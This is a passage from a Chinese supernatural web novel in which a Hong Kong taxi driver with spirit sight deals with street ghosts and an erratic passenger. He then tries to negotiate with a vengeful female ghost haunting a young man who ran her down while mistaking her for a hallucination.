住在这种地方,运气差点的人,恐怕会诸事不顺,小病小痛不断,甚至容易发生意外。
也难怪这栋楼看起来有些陈旧,估计租金便宜,住的也都是些不大在意或者不懂这些的底层市民。
古德摇了摇头,吐出一个烟圈:“这种凶宅格局,也就谢潮这种命格硬得能克死鬼的天煞孤星能镇得住,说不定还能以毒攻毒……普通人还是离远点好。”
就在他暗自吐槽的时候,忽然感觉脚下好像滚过来一个什么东西,轻轻撞在了他的鞋尖上。
古德下意识地低头一看——
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这一看,饶是他见多识广,心里也忍不住咯噔一下!
那竟然是一个小男孩的脑袋!
大概七八岁的样子,脸色苍白得没有一丝血色,嘴唇却是诡异的乌紫色。
一双大眼睛睁得圆溜溜的,眼珠子还在滴溜溜地转动!
最诡异的是,这脑袋的断口处异常平整,没有鲜血淋漓,只有一股淡淡的、冰冷的阴气散发出来。
那小男孩的脑袋看到古德注意到他,苍白的小脸上竟然露出了一个极其兴奋和期待的表情,嘴巴一张一合,发出一个天真又阴森的声音:
“大哥哥~大哥哥~你有看到我的身子吗?我的身子不知道跑哪里去啦~你能帮我找找吗?”
古德面无表情地看着这个在自己脚边滚来滚去的人头,又抬眼看了看不远处。
只见一个大约一米高、穿着蓝色背带裤和小衬衫、但没有脑袋的小身体,正像个没头苍蝇一样,跌跌撞撞、摇摇晃晃地朝着这边摸索过来,两只小手还在空中胡乱地抓挠着。
古德默默地吸完了最后一口烟,把烟头扔在地上,用鞋底仔细碾灭。
然后,他脸上突然露出一个带着点玩味的坏笑,对着脚下那个一脸期待的小男孩脑袋说道:
“唔好意思啊细路,我唔知你个身喺边度喔~”(不好意思啊小朋友,我不知道你的身体在哪里哦~)
话音未落,他右脚猛地抬起,做了一个标准的大力抽射足球的动作!
“走你!”
砰!
一声闷响!
那小鬼的脑袋根本没反应过来,就像个被踢飞的皮球,发出一声短促尖锐的惨叫:“啊——!!!”
随后划出一道优美的抛物线,精准无比地飞向了路边那个绿色的、盖着盖子的垃圾桶!
哐当!
脑袋准确地掉进了垃圾桶的投递口。
古德甚至还保持着踢完球的姿势,看着那垃圾桶,满意地点了点头,自言自语地给自己点评:
“嗯,角度刁钻,力度十足!满分!世界波!”
就在这时,他眼角的余光瞥见,远处那个无头的小身体旁边,不知何时又多了一个穿着白色连衣裙、长发遮面、浑身滴着水、散发着浓烈怨气的女鬼。
女鬼正用一种极其怨毒的眼神死死地盯着他,并且开始加速飘过来!
“啧……打了小的,来了老的?没意思。”
古德撇撇嘴,立刻收功,以迅雷不及掩耳之势拉开车门,钻进驾驶座,点火、挂挡、油门一气呵成!
红色的出租车发出一声咆哮,猛地向后倒车,然后一个干脆利落的甩尾,调转车头,一溜烟地驶离了这片是非之地。
车速飞快,绝对不是因为心虚看到那个看起来很不好惹的孩子他妈追来了!
绝对不是!
第36章 又遇到郑立了
“今天真是……出门没看黄历。”
古德一边开车,一边嘀咕,“先是路冲煞楼,接着是无头小鬼找身子,还附赠一个淹死鬼老妈……这都什么事啊!”
他本来以为这就够倒霉了,没想到接下来的遭遇更是让他哭笑不得。
在一个红绿灯路口,他停下来等红灯。
后排坐着一个看起来体重起码两百斤、穿着粉色裙子、扎着双马尾的年轻女孩。
从等红灯开始,她就一直用一种极其呆板、毫无起伏的语调,不断地重复询问同一个问题:
“左拐的红灯最难等了.....”
“这红灯要多久才结束啊……”
“左拐的红灯怎么那么长……”
“红灯怎么还没变啊……”
开始古德还敷衍地“嗯嗯”两声,后来发现这女孩根本不是在问他,而是在自言自语,而且语速越来越快,表情也越来越焦躁。
直到红灯读了七十多秒变绿灯的时候,这女孩突然毫无征兆地爆发了!
她猛地双手抱住头,发出了一声极其尖锐、刺耳、持续了足足一分多钟的恐怖尖叫!
那刺耳的尖叫声还在车厢内回荡,震得古德耳膜嗡嗡作响。
刚发动车子的他下意识地又猛踩了一脚刹车!
吱——!
轮胎与地面摩擦发出尖锐的声音,出租车猛地顿住。
巨大的惯性让后排那位还在持续尖叫的女人往前一冲,脑袋差点撞到前排座椅靠背,尖叫声也戛然而止,变成了带着哭腔的呜咽。
古德刚想回头看看什么情况,就见一辆白色的救护车闪着顶灯,“呜哇呜哇”地叫着,一个急转,精准地横在了他的出租车车头前,挡住了去路。
车门“哗啦”一声打开,跳下来三个穿着白大褂、人高马大的男护工,动作熟练又迅速地拉开后车门。
“阿丽!可算找到你了!快跟我们回去!”
其中一个领头的护工对着后排的女孩喊道,语气带着无奈和不容置疑。
那两百多斤的女孩看到白大褂,像是看到了什么恐怖的东西,猛地往后缩,双手乱舞,哭喊着:
“我不回去!我不回去!左拐的红灯最难等了!他们都不懂!他们都不懂啊啊啊!”
两个护工一左一右,配合默契地架住她的胳膊,轻松地将她从车里“请”了出来。
另一个护工则连连对古德鞠躬道歉,脸上写满了尴尬和歉意:
“对不住!对不住啊师傅!真是万分抱歉!我们是青山精神病院的,她是我们的病人,今天早上查房才发现她不知道怎么偷偷跑出来了!给您添麻烦了!实在对不住!”
古德看着眼前这鸡飞狗跳的一幕,嘴角忍不住抽搐了几下,心里一阵无语。
他摇下车窗,探出头,有气无力地指了指计价器:“没事……人没事就好。就是……这车费,你们看……”
那道歉的护工闻言,脸上的歉意更浓了,他一边帮着同事把还在挣扎哭喊的女孩往救护车上塞,一边快速地从口袋里掏出几张零钱,看也没看就塞给古德:
“应该的应该的!师傅您拿着,多的不用找了,实在抱歉!”
说完,他像是怕古德再提什么要求一样,飞快地跳上救护车副驾驶座,砰地关上车门。
呜哇呜哇——!
救护车发出一阵急促的鸣笛,几乎是擦着古德的出租车头,猛地倒车,然后一个甩尾,加速逃离了现场。
留下古德捏着那几张皱巴巴的、面额加起来可能刚够起步价的零钱,在风中凌乱。
古德低头看了看手里的钱,又抬头看了看那绝尘而去的救护车尾灯,额头上的青筋忍不住跳了跳。
“青山跑出来的……行,算你们狠。”
他无奈地叹了口气,把零钱塞进兜里,“今天这都什么事啊……看来真不宜出车,还是收工吧。”
他看了看时间,才中午刚过一点。
得,难得这么早“下班”。
心情郁闷的古德,决定去“荣记茶餐厅”吃点东西抚慰一下自己受伤的心灵,然后回家专心画符温养法器算了。
车子开到荣记门口停下。
这个点,午市高峰刚过,店里没什么客人,只有几个老街坊在慢悠悠地喝着下午茶。
阿秀正在收拾桌子,看到古德推门进来,脸上露出惊讶的表情:
“古哥?今天这么早就收工了?”
阿秀知道古德只有收工的时候,才会过来这里吃饭。
古德一脸晦气地摆摆手,找了个靠窗的卡座瘫坐下来:
“别提了,阿秀。今天出门没看黄历,邪门事一件接一件,赚不到钱还倒贴油费。给我来份招牌叉烧饭,一杯冻柠茶,多冰。”
“好的古哥,马上来。”
阿秀乖巧地应了一声,转身去下单。
古德靠在椅背上,揉着有点发胀的太阳穴,看着窗外街景发呆。
脑子里还在回放今天遇到的奇葩事,这香江的灵异事件和日常疯癫事件,真是越来越丰富多彩了。
就在他等餐的时候,一个有些熟悉的声音在旁边响起,带着点不确定和恭敬:
“古大师?”
古德闻声抬头望去。
只见旁边一桌坐着两个人,其中一个皮肤黝黑、身材精壮、大热天还穿着一身西装,眉眼间带着点憨厚和焦虑的年轻男人,正是万安殡仪馆的郑立。
而坐在郑立对面的另一个年轻男人,让古德的目光不由得停顿了一下。
这人年纪和郑立相仿,大概二十出头,长相和郑立有六七分相似,但皮肤白皙很多,五官也更精致秀气一些,是个标准的靓仔。
但他此刻眉头紧锁,眼神有些飘忽不定,脸色也有些苍白,一副心神不宁、忧心忡忡的样子,仿佛被什么沉重的心事压得喘不过气。
古德心里“哦豁”一声。
好家伙,“黑古”和“白古”一起出现?
这两个人是怎么凑到一块的,不过这白古和郑立一起出现的话,可能也
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是某部电影里的角色。
现在的古德,对于在香江街头撞见熟面孔已经有点麻木了。
这个世界仿佛就是个大型港片缝合怪现场,哪天要是在铜锣湾碰到个叫陈浩南的古惑仔或者在中环碰到个穿皮衣的**小庄,他估计都不会太惊讶。
他对着郑立点了点头:“郑生,这么巧。”
目光又转向那个白净的年轻人。
郑立见古德回应,连忙拉着那个白净青年起身,坐到了古德这桌的对面。
他有些局促地介绍道:“古大师,没想到在这里遇到您。这是我堂弟,郑琛。”
他又对堂弟说:“阿琛,这位就是我之前跟你提过的那位很有本事的古大师。”
郑琛似乎才回过神来,有些心不在焉地对着古德勉强笑了笑,点了点头,声音有些干涩:“古大师,你好。”
算是打过招呼了。
这时阿秀端着古德的叉烧饭和冻柠茶过来,看到郑琛坐在古德对面,也有些惊讶:“琛哥?你和古哥认识啊?”
郑琛此刻心事重重,只是对阿秀“嗯啊”地含糊应了两声,没什么交谈的欲望。
阿秀放下东西,好奇地看了看这奇怪的三人组合,便识趣地走开了。
郑立等阿秀走开,身体微微前倾,压低声音对古德说:
“古大师,我其实正想去找您呢,没想到在这就碰上了,真是巧了!”
古德拿起筷子,扒拉了一口叉烧饭,含糊地问道:
“找我?什么事?又遇到不干净的东西了?”
他想起郑立原本剧情里那个为情**的同事阿红,这是他的暗恋对象,上次忘记提醒他了,不知道现在情况怎么样。
不过看郑立虽然焦虑,但不像**至爱的样子,估计阿红那边还没到最坏的地步。
郑立看了一眼身边魂不守舍的堂弟,张了张嘴,刚想开口说明来意。
古德却突然抬起手,打断了他。
只见古德的眉头微微皱起,目光并没有看郑立,而是越过了他的肩膀,锐利地盯向了……郑琛旁边的空位!
他的眼神变得有些古怪,仿佛在仔细分辨着什么常人看不见的东西。
那是因为在古德的阴阳眼清晰地看到,在郑琛的身侧,紧贴着他,几乎形影不离地“坐”着一个“人”!
那是一个穿着红色衣服、长发遮面、身形模糊的女性虚影。
她周身散发着一种浓郁得化不开的哀怨和阴冷气息,一股灰黑色的、带着水汽的阴煞之气如同触手般,丝丝缕缕地缠绕在郑琛的胳膊和脖颈上,正在不断地汲取着他身上的阳气!
郑琛那苍白的脸色和萎靡的精神状态,显然跟这女鬼的纠缠脱不开关系!
古德放下筷子,目光转向郑立,语气平静却带着一丝不容置疑的严肃道:
“郑生,你先别说话。”
接着古德的目光转而直视向一脸茫然不安的郑琛的身边:
“这位姑娘,你跟他是有什么深仇大恨吗?”
第37章 借仓库驱鬼
古德的问题让郑琛猛地一愣,脸色瞬间变得更加苍白,眼神惊恐地看向自己身侧的空位,仿佛那里真的有什么东西。
他下意识地往郑立那边缩了缩,声音都带着颤音:“古……古大师,你……你说什么?我旁边……有东西?”
郑立也是一脸紧张,他虽然看不见,但也被古德的话吓得寒毛直竖。
古德没有回答郑琛,他的目光依旧锁定在那空位上,眉头微蹙。
在他眼中,那个穿着红衣服、长发遮面的女鬼虚影,似乎被他的话语惊动,缓缓地……抬起了头。
透过那稀疏杂乱的黑发缝隙,古德看到了一双充满怨毒和死寂的眼睛,正直勾勾地盯着他。
那眼神冰冷刺骨,充满了警告的意味。
接着,一个沙哑、干涩、仿佛用指甲刮擦黑板一样难听的声音,从那女鬼的喉咙里艰难地挤了出来,带着浓浓的恶意:
“多……管……闲……事……”
古德闻言,差点气笑了。
他放下筷子,拿起冻柠茶喝了一口,不咸不淡地回了一句:“大姐,你都快把人吸干了,还说我多管闲事?讲点道理好不好?”
他心里快速盘算着。
这女鬼身上的怨气浓度不低,按照纸扎陈给他恶补的灵幻界常识,这种程度的怨念,起码得是“恶鬼”级别了。
鬼物大致分为:游魂野鬼(没啥威胁,浑浑噩噩)、怨灵(有点怨气,能吓人作祟)、恶鬼(怨气深重,能实质害人)、厉鬼(怨气冲天,凶戾无比)、鬼王(一方霸主)以及传说中的摄青鬼(怨念极致,近乎不死不灭)。
每个级别还有强弱细分,看死法、怨念源头和形成时间。
眼前这个,怨气达标了,但奇怪的是,她身上的阴气却显得有些……虚浮?
魂体也不算特别凝实,有点飘忽不定,像是根基不稳。
按理说,能成恶鬼,阴煞之气应该很雄厚才对。
这女鬼有点“虚胖”,空有怨气等级,但实际力量可能打了折扣。
古德暗自感应了一下自己丹田里那十一丝法力,又掂量了一下挎包里那几件刚刚温养出一点灵性的法器,心里有了底。
应该能搞得定。
他不再理会那女鬼无声的威胁,转头对郑立说道:
“郑生,你弟弟确实被东西缠上了,而且是个怨气不小的恶鬼。再拖下去,他轻则大病一场,重则……可能就没命了。
我能处理,费用两万港币,可以事成之后给。你们自己考虑一下。”
说完,他不再看那两兄弟,低下头继续专心对付他那碗叉烧饭。
这数字,是古德预估这两人的身家给的,还是看熟人面子上打了折。
要是碰到别人,可不至要这些费用。
两万港币!
这个数字像是一记重锤,砸得郑立和郑琛两兄弟目瞪口呆。
郑琛第一个反应过来,脸上瞬间写满了“你骗鬼啊”的表情。
他猛地站起身,椅子腿和地面摩擦发出刺耳的声音。他一把拉起还有些发懵的郑立,语气激动又带着嘲讽:
“立哥!我们走!我就说他是骗子吧!两万块?他怎么不去抢!我全身家当加起来连两千块都没有!撞鬼?我宁愿被鬼缠死也不要被这种江湖骗子骗光棺材本!”
说完,他气呼呼地转身就往茶餐厅外面走,脚步飞快,仿佛多待一秒都会被讹钱。
郑立被他拉着,踉跄了几步,急忙在门口拉住他:
“琛仔!琛仔!你冷静点!你看看你现在的样子!眼圈黑得跟熊猫一样,脸色白得像纸,走路都打飘!
你这几天是不是经常看到不干净的东西?古大师是有真本事的人,我亲眼见过的!而且他说了事后给钱,万一……万一他真是骗子,我们不给钱他还能硬抢不成?”
郑琛停下脚步,喘着粗气,眼神里充满了挣扎和恐惧。
他最近确实不对劲,总是莫名其妙地发冷,晚上做噩梦,白天精神恍惚,甚至好几次在镜子里或者窗户反光中,瞥见一个穿着红衣服的女人影跟在自己身后……
而且,他身边几个最近一起玩的朋友,好像也都接连倒了大霉,一个个死于非命。
想到这里,他心底那股寒意更重了。
郑立见堂弟犹豫,赶紧趁热打铁:“钱的事你别担心!两万块我先帮你垫上!救命要紧啊!要是真没事最好,万一有事,古大师就是救命稻草!”
郑琛看着堂哥焦急又真诚的脸,又想起自己最近的诡异遭遇和朋友们的不幸,最终求生欲和恐惧压过了怀疑和拮据。
他咬了咬牙,艰难地点了点头:“好……好吧。立哥,谢谢你了。这钱我以后一定还你!”
郑立见他答应,松了口气,连忙拉着他又返回了茶餐厅。
古德刚好吃完最后一口饭,放下筷子,用餐巾纸擦了擦嘴,看着去而复返的两人,挑了挑眉:“想好了?”
郑立连忙点头,语气恭敬:“想好了想好了!古大师,麻烦您一定要救救我弟弟!钱不是问题!接下来我们需要怎么做?要准备些什么东西吗??”
古德摆摆手:“不用,你们等会听我指挥就好。”
他摸了摸随身背着的帆布挎包,他的家伙一般都随身带着。
不过要是驱鬼的话,现在缺个合适的地方。这里人多眼杂,不方便办事。
他想了想,对两兄弟说:“你们等一下,我打个电话。”
他起身走到茶餐厅门口的公共电话亭,投币,拨通了谢潮的Call机台,留了言:“急事,速回电至荣记茶餐厅旁公共电话。”
然后挂断等着。
没过几分钟,电话铃就响了起来。
古德接起电话,那边传来谢潮略带惊讶和一丝懒洋洋的声音:
“喂?德仔?太阳打西边出来了?你居然主动Call我?什么事啊?是不是想请我吃饭?”
古德没理会他的调侃,直接说道:
“吃饭下次再说。找你帮个忙,你那边有没有比较空旷、安静、没人打扰的地方?
最好是仓库或者废弃厂房之
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类的。我这边接了个活,一个朋友弟弟撞邪了,需要个场地处理一下。”
谢潮一听是灵异事件,语气立刻正经了不少,还带着点兴奋:
“有啊!当然有!我们部门在九龙油塘那边有个废弃的旧仓库,以前用来临时存放一些……嗯……特殊证物的,后来闲置了。
地方够大,绝对安静,平时鬼都不去那儿!地址是油塘四山街18号,荣信工业大厦地下B仓。钥匙就在门口消防箱顶上放着,我跟我伙计打个招呼,你们直接去就行!”
古德记下地址:“谢了,阿潮。回头请你饮茶。”
“小事!对了,需要我过来帮忙吗?给你打个下手?”谢潮跃跃欲试。
“不用,小场面,我能搞定。你来了我还得请你吃饭。”古德半开玩笑地拒绝道。
“切!小气鬼!那你自己小心点!”谢潮嘟囔了一句,挂了电话。
古德走出电话亭,对等在一旁的郑立郑琛两兄弟招招手:“走吧,我带你们去个安静适合处理的地方。”
三人坐上古德的红色皇冠。
古德熟练地按下计价器,“哒”的一声轻响。
郑琛看着那跳动的数字,嘴角又抽搐了一下,但没敢说什么。
车子一路朝着东九龙的油塘驶去。
大约半个小时后,按照谢潮给的地址,找到了那栋看起来有些年头的“荣信工业大厦”。
这里靠近旧码头区,周围比较偏僻,行人稀少。
古德把车停在大厦侧面的空地上。
他刚下车,就意外地看到一个人正靠在一个电话亭旁边,嘴里叼着烟,不是谢潮是谁?
“咦?阿潮?不是说你不用不来吗?”古德有些意外。
谢潮吐了个烟圈,把烟头踩灭,走了过来,脸上带着酷酷的表情:
“闲着也是闲着,过来看看热闹,顺便学习学习古大师你是怎么驱邪的嘛。”
他后一边说着,眼神却好奇地打量了一下古德身后一脸紧张的郑立,以及旁边一脸苍白的郑立和他身边的‘好朋友’。
“这位是……”郑立看着突然出现的、穿着皮夹克戴墨镜、气场有点强的谢潮,小声问古德。
“我朋友,谢潮,也是……嗯……相关部门的,来做个登记。”
古德简单介绍了一下,“走吧,先进去再说。”
谢潮轻车熟路地走到大厦侧面一个不起眼的铁门前,踮脚从消防箱顶上摸出一把锈迹斑斑的钥匙,打开了那扇沉重的铁门。
一股混合着灰尘、铁锈和淡淡霉味的空气扑面而来。
门后是一条向下的水泥斜坡通道,光线昏暗,通往地下仓库。
“就是这里了,绝对安静,隔音也好,你们随便折腾。”
谢潮拍了拍手上的灰,率先走了下去。
古德看了看这阴森的环境,点了点头:“嗯,地方不错,够应景,就怕到时候多来几个好朋友。”
古德吐槽了一句,然后对着身后的两人道:
“走吧,郑生,抓紧时间给你弟弟治病。”
第38章 江湖不是打打杀杀
四人走进仓库。
里面空间很大,挑高足有四五米,显得十分空旷。
空气中弥漫着一股淡淡的灰尘和铁锈混合的味道,角落里堆放着一些蒙着帆布的废弃机器零件和木箱,地面是粗糙的水泥地,有些地方还残留着深色的油渍。
谢潮摸索着在墙边找到电闸,“啪嗒”几声,将几盏高悬的工业用大功率日光灯全部打开。
瞬间,刺眼的白光驱散了所有阴影,将整个仓库照得如同白昼,每一个角落都清晰可见,连空气中漂浮的尘埃都无所遁形。
“哇,这么亮堂?”
谢潮用手遮了遮眼睛,适应了一下光线,然后看向古德,“德仔,这光线……够不够?要不要我关掉几盏,搞点气氛?”
他印象里的驱魔场面,不都应该是烛光摇曳、阴风阵阵的吗?
古德没好气地白了他一眼:
“开灯!全打开!亮堂点好!你以为拍电影啊?搞那么暗干嘛?给鬼打掩护吗?方便它偷袭我啊?
明亮的环境对我们有利,至少看得清楚,心里不慌。再说了,香江的鬼又不怕光,亮不亮对它们没区别。”
郑立在一旁听了,忍不住好奇地问:
“古大师,我看那些捉鬼的电影里,做法事不都是在晚上,灯光昏暗,那样是不是更有……呃,什么加成吗?”
古德哭笑不得:“少看那些电影!那都是为了烘托气氛骗观众的!真正干这行,巴不得灯火通明、阳光普照!
在那种乌漆嘛黑的地方跟鬼斗,是嫌自己命长吗?那叫给鬼创造主场优势!咱们要反着来,抢占天时地利!”
谢潮耸耸肩,不再多话。
古德让他去旁边搬了几把看起来还算结实的旧木椅过来。
经过这段时间和各种鬼物的接触,古德发现香江的鬼,或者说,能形成一定气候的鬼大多保留着生前的部分思维和沟通能力,并非全是只知道杀戮的疯狂意识体。
很多时候,矛盾并非不可调和。
所以,他决定先礼后兵,尝试沟通一下。
江湖嘛,不只有打打杀杀,也有人情世故……和鬼情鬼故。
他让郑琛走到仓库中央站好,自己则从帆布挎包里拿出那个在古董街买的小青铜香炉,放在地上。
又取出三支细细的线香,用打火机点燃。
香烟袅袅升起,带着一股淡淡的香味。
古德手持线香,对着郑琛身侧的空位。
也就是那个只有他能清晰看见的红衣女鬼微微躬身,算是行了个礼,语气平和地开口道:
“这位美女你好,正所谓冤家宜解不宜结,万事好商量。你看,吸了这柱香火,咱们能不能坐下来谈谈?
这小子有哪里得罪您的地方,您说出来,我帮您揍他一顿出出气?或者,您有什么未了的心愿、想要的东西?
让他多给您烧点金银元宝、别墅跑车、最新款的电视机洗衣机过去?保证您在下面过得舒舒服服,比在这缠着一个穷小子强多了,您看如何?何必两败俱伤呢?”
一旁的谢潮看得目瞪口呆,嘴巴张得能塞进一个鸡蛋。
他原本以为古德会掏出桃木剑、铜钱剑,大喝一声“妖孽受死”然后冲上去大战三百回合,没想到竟然是……用嘴炮谈判?
还给鬼开条件?
这操作也太骚了吧?
那女鬼似乎也没料到古德会来这一出。
她贪婪地吸食着那三柱清香散发出的、对她而言极为滋补的烟气,原本狰狞怨毒的表情似乎缓和了一丝,魂体也凝实了少许。
她抬起那双死寂的眼睛,看着古德,缓缓地摇了摇头,声音依旧沙哑,但似乎多了一丝……情绪?
“他……害**我……我不可能……放过他……”
古德闻言,眉头顿时皱了起来。
害死?这是**仇怨?
这可有点棘手了。
他快速在脑海里过了一遍前世关于《阴阳路》系列的记忆,尤其是古天乐饰演角色的相关剧情。
印象里,好像没有他**害命的桥段啊?
更多的是他自己倒霉遇鬼、或者为情所困**、甚至自己变成鬼……但似乎从没主动害过别人性命。
这女鬼的样子,又不像是纯粹在说谎,那股刻骨铭心的怨恨是做不了假的。
“难道是我记错了??”古德心里嘀咕,有点拿不准了。
不过看这女鬼虽然怨气深重,但此刻受了香火,情绪似乎还算稳定,没有立刻暴起伤人的意思。
古德想了想,决定让当事人自己来对质。
他对着郑琛招了招手:“郑琛,你过来。”<
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br>郑琛虽然害怕,但还是哆哆嗦嗦地走了过来,站在古德身边,眼神惊恐地四处乱瞟,虽然他现在什么都看不见。
古德从挎包的一个小袋子里,小心翼翼地取出了四片翠绿、细长的柳树叶。
柳树属阴,通灵,是民间传说中常见的能开启阴阳眼的媒介之物。
他走到郑琛面前,口中低声念诵开眼咒诀:“天地清明,本自无心;涵虚尘寂,百朴归一。”
同时右手掐了个简单的“开眼印”,食指与中指并拢,指尖凝聚起一丝微不可查的法力,快速地在两片柳叶上虚划而过。
“闭上眼睛。”古德对郑琛说道。
郑琛紧张地闭上眼。
古德将两片被法力加持过的柳叶,分别轻轻地贴在了他的左右眼皮之上。
接着,他又如法炮制,给旁边既好奇又害怕的郑立也贴上了两片柳叶,让郑立也有一些参与感。
“柳叶通幽,借法开眼!敕!”
古德最后低喝一声,手指在两人眉心各自轻轻一点,注入一丝微弱的法力作为引子,激活了柳叶中蕴含的阴性能量,暂时连通了他们的视觉与灵界。
“可以睁眼了。”古德退后一步说道。
郑立和郑琛几乎同时睁开了眼睛。
首先反应过来的是郑立。
他的目光下意识地看向堂弟郑琛,随即瞳孔骤然收缩,脸色“唰”的一下变得惨白如纸!
他看到了!
在郑琛的身后,紧贴着他,站着一个穿着红衣服,长发遮面散发着阴森寒气的女人!
那绝对不是活人!
“琛……琛仔!你……你后面!!!”
郑立吓得声音都变调了,手指颤抖地指着郑琛身后。
郑琛被堂哥的反应吓了一大跳,心脏狂跳,猛地顺着郑立指的方向扭头看向自己身后。
下一秒!
“啊——!!鬼啊!!!”
一声凄厉到破音的尖叫猛地从郑琛喉咙里爆发出来!
他双腿一软,一屁股重重地跌坐在冰冷的水泥地上,手脚并用地疯狂向后蹬爬,想要远离那个突然出现在他眼前的恐怖红衣女人!
巨大的恐惧瞬间攫住了他,让他浑身抖得像筛糠一样。
仓库明亮的灯光下,郑琛和郑立两兄弟,终于亲眼见到鬼怪。
第39章 识时务者为俊鬼
郑琛那声凄厉到破音的尖叫在空旷的仓库里回荡,震得人耳膜嗡嗡作响。
谢潮忍不住挖了挖耳朵,一脸嫌弃地吐槽道:
“喂!靓仔,鬼叫什么鬼叫?不就是个女鬼嘛!这里这么多人看着呢,她又不能把你怎么样!胆子这么小,怎么出来混啊?”
他一副见怪不怪的样子,仿佛眼前站着的不是个红衣恶鬼,只是一个小女生。
被他这么一打岔,郑立和郑琛这才猛地回过神来,对啊!这里还有两位专业人士呢!
古德和谢潮都一副气定神闲的样子,显然根本没把这女鬼放在眼里。
两人剧烈的心跳这才稍微平复了一些,但看向那红衣女鬼的眼神依旧充满了恐惧。
古德等郑琛稍微冷静了一点,才开口问道:“郑琛,你仔细看看,认不认识她?她说你把她害**。”
郑琛哆哆嗦嗦地抬起头,壮着胆子,仔细打量着那个漂浮在自己面前、脸色惨白、眼神怨毒的红衣女鬼。
他看了半晌,脸上的恐惧渐渐被迷茫取代,他使劲摇了摇头,声音带着哭腔:
“不……不认识啊!古大师!我真的从来没见过这位小姐!我怎么可能害死她?我连杀鸡都不敢啊!”
古德闻言,转向那女鬼,语气依旧平静:
“好了,现在当事人和鬼也都在这里了。你说他害死你,他说不认识你。这中间是不是有什么误会?你把事情说清楚,到底怎么回事?”
那女鬼死死盯着郑琛,眼中的怨毒几乎要溢出来,声音嘶哑地低吼道:
“误会?没有误会!昨天!在屯门那条僻静的姻缘路上!我被人**,那两个歹徒还要非礼我,我拼命爬到路中间想要求救!
他的车开过来!我明明看到他了!他也看到我了!但他非但没停车,反而……反而像是见了鬼一样,猛地加速!直接从我的身上……撞了过去!把我撞下山坡摔死!!!”
女鬼越说越激动,周身的阴气开始剧烈波动,仓库里的温度似乎都下降了几度。
郑琛听到“姻缘路”和“昨天”这几个字,脸色“唰”的一下变得惨白如纸,身体抖得更厉害了。
他像是想起了什么极其恐怖的事情,嘴唇哆嗦着,语无伦次地辩解道:“姻缘路……昨天……我……我……我不是故意的!我真的不是故意的啊!”
他猛地抱住头,痛苦地喊道:“我有病!医生说我得了严重的被害妄想症!总是觉得有人要害我!这几天我精神特别差,老是看到……看到一些恐怖的东西跟着我!
昨天开摩托车经过姻缘路的时候,我突然看到红衣服的女人冲了出来!我……我以为又是我的幻觉发作了!
我吓坏了!只想赶紧逃离那里!所以我……我就踩了油门冲了过去……我没想到……我没想到那是真的啊!!!”
他抬起头,泪流满面,声音充满了悔恨和恐惧:
“今天早上洗车的时候,我还看到车轮上有血迹……我还特意去找了下报纸看看是不是有什么事故,姻缘路也回去找过!
可是路上干干净净,什么都没有!我……我还以为真是我的幻觉!是我眼花了!我真的不知道撞到人了啊!!!”
那女鬼听到他的辩解,非但没有释怀,反而更加愤怒了,周身的怨气几乎凝成实质,长发无风自动:
“幻觉?眼花了?你以为?!就因为你那该死的‘以为’!我就白白丢了性命!你一句不是故意的就想算了?!哪有那么便宜的事!!”
听到这里,古德脑里突然闪过一个片段。
姻缘路?被害妄想症?把**当幻觉撞死?
这剧情……怎么这么耳熟?!
他瞬间想起来了!
这不是《阴阳路》第二部《我在你左右》里的经典桥段吗?!
电影里,古乐饰演的角色在开摩托的时候,就是因为精神恍惚,把路边求助的女孩当成了幻觉,直接撞了上去导致其死亡!
“原来是这个单元……”
古德心里暗道,同时一丝疑惑闪过心头。
按电影剧情,郑琛和他的两个朋友会因为接连撞鬼惨死,下场都很凄惨。
但这其中似乎还有些说不清道不明的蹊跷,仿佛有只无形的手在推动这一切。
不过现在不是深究的时候。
他定了定神,看向那情绪激动的女鬼,用安抚的语气说道:
“好了,事情既然弄清楚了。他的确犯了错,造成了你的死亡,但主观上并非故意**。你看这样行不行,让他接受法律的制裁?
该怎么判就怎么判。我身边这位谢先生就是警察,可以立刻把他带回警局立案调查。让他坐牢,为你赎罪,怎么样?”
说着,他指了指旁边拿着枪,一脸冷酷表情的谢潮。
郑琛一听这话,脸顿时垮了下来,变得惨白。
但转念一想,去坐牢……好像确实比被女鬼索命要强得多?
他认命般地低下了头,没再说话。
郑立在一旁也是叹了口气,心情复杂。
一方面为堂弟竟然撞**人感到震惊和痛心,另一方面又庆幸至少找到了解决之道,保住性命要紧。
他已经开始在心里盘算着怎么找律师,看能不能争取判个误杀,减轻刑期。
然而,那女鬼听到古德的提议,像是被彻底激怒了!
“法律?!坐牢?!哈哈哈哈!”
她发出一阵凄厉尖锐的狂笑,五官开始扭曲,眼睛、鼻子、嘴巴里缓缓流出暗红色的、如同浓稠血液般的阴煞之气!
整个魂体变得越发狰狞恐怖!
“我不信!我不信那些!血债必须血偿!我只要他的命!我要他把命还给我!!!”
她嘶哑地咆哮着,浓郁的怨气如同黑色的潮水般向四周扩散,冰冷的杀意锁定了郑琛!
她猛地转头,用那双流血的眼睛死死盯住古德,声音充满了威胁:
“的士佬!我警告过你!不要多管闲事!别
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自以为你有两分本事,惹怒了我……我连你一起杀!!”
谈判破裂!
古德脸色一沉,眼神瞬间变得锐利起来!
“敬酒不吃吃罚酒!”
他冷喝一声,动作快如闪电!
右手猛地从帆布挎包里抽出了那柄刚刚温养出一点灵性的铜钱剑!
虽然灵性微弱,但一百零八枚在人间流通过的铜钱里蕴含辟邪正气以及红线中残留的法力,依旧让剑身泛起一丝微不可查的金光!
左手同时夹住了一张黄底朱砂的“斩鬼符”!
体内那法力运转起来!
古德右手持剑斜指地面,左手符箓举在胸前,摆出了一个简洁而凌厉的起手式,法力蓄势待发,对着那女鬼厉声道:
“看来你是不想好好讲道理了?那就别怪我不客气!”
几乎在古德动手的同时!
旁边的谢潮也是反应神速!
他虽然没有法力,但之前他驱魔靠的可不是法力!
只见他猛地踏前一步,单手握持那把造型奇特的“灭魂”**,枪口稳稳地指向那女鬼,他大声喝道:
“喂!这位红衣靓女!冷静点!**和攻击市民罪加一等啊!放下执念,立刻投胎!不然我一枪打爆你的鬼头!”
那红衣女鬼正准备扑向郑琛的动作为之一顿!
她虽然刚刚成为恶鬼,灵智不算太高,但对于危险的感知却极其敏锐!
那柄铜钱剑给她的感觉像是烧红的烙铁,虽然热量不高,但碰上了肯定不好受。
而古德左手那张符箓,则让她感到了源自灵魂深处的战栗和恐惧!
那东西……绝对能让她魂飞魄散!
彻底消失!
再加上旁边那个看起来不像善茬、拿着奇怪武器的男人……
女鬼周身的怨气和杀意如同被戳破的气球,迅速消散。
她脸上那狰狞流血的表情瞬间消失,扭曲的五官也恢复了之前那副清秀的模样。
虽然还是很苍白的脸,但至少不是恐怖样子。
